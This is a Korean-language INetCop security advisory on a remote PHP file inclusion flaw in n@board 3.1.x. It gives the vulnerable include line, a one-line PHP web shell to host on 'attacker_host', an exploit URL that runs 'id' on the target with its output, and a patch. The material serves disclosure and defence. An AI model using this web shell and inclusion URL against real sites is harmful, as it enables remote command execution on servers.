
	========================================
	INetCop Security Advisory #2004-0x82-025
	========================================


* Title: Naboard Remote PHP Injection exploit


0x01. Description


PHP 프로그래밍 중 주의해야 할 것이 바로 PHP Injection 취약점입니다.
대한민국의 많은 게시판 및 웹 솔루션들이 바로 이 취약점에 무력화됩니다.
저희 INetCop Security Team에서는 다음과 같은 naboard 취약점을 발견하였습니다.

skin/*/write.php
...
<?include"$skin/write_form.php";///////////회원체크?>
...
<?include"$skin/write_attach.php";/////////파일링크,첨부선택?>
...

$skin 변수는 공격 target이 될 것입니다.


0x02. Vulnerable Packages


Vendor site: http://navyism.com/

n@board 3.1.9 (KOR)
-naboard319.zip
+Unix
+Linux
+Other

n@board 3.1.9e (ENG)
-naboard319english.zip
n@board 3.1.9j (JPN)
-naboard_jpn319.zip
n@board 3.1.8cgb (CGB)
-naboard318cgb.zip


0x03. Exploit


그것은 매우 간단하게 exploit 될 수 있습니다.
local 파일을 불러올 수 있으며, 특정 PHP 문법을 실행하여 백도어로 사용될 수 있습니다.
다음은 원격에서 공격을 시도하는 예제입니다.

attacker_host에 write_form.php 파일 이름으로 다음과 같은 공격 파일을 작성한 후,

write_form.php: --
<? system($cmd); ?>
--

http://naboard_host/skin/mac_gray/write.php?skin=http://attacker_host/&cmd=id
URL에 접속하면 다음과 같은 결과를 얻게 됨.

공격 결과: --

uid=99(nobody) gid=99(nobody) groups=99(nobody)   Title     Secret   
 Memo    

Warning: Failed opening 'http://attacker_host//write_attach.php'
for inclusion (include_path='.:/usr/local/lib/php') in /usr/local/apache/htdocs/naboard/skin/mac_gray/write.php
on line 69

-- 


0x04. Patch


문법적으로 막을 수 있는 방법은 다음과 같습니다. (모든 버전 해당)

skin/*/write.php:
...
// patch core
if(eregi(":\/\/",$skin))
{
        printf("\$skin error");
        exit;
}
...

그 밖에 서버 설정에서 PHP Injetcion 취약점을 차단할 수 있습니다.
php.ini의 설정 중, allow_url_fopen 설정값을 'On'에서 'Off'로 수정해주므로써, 원격 공격자의
침입을 막을 수 있습니다.

--
감사합니다.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
              xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
             My World: http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--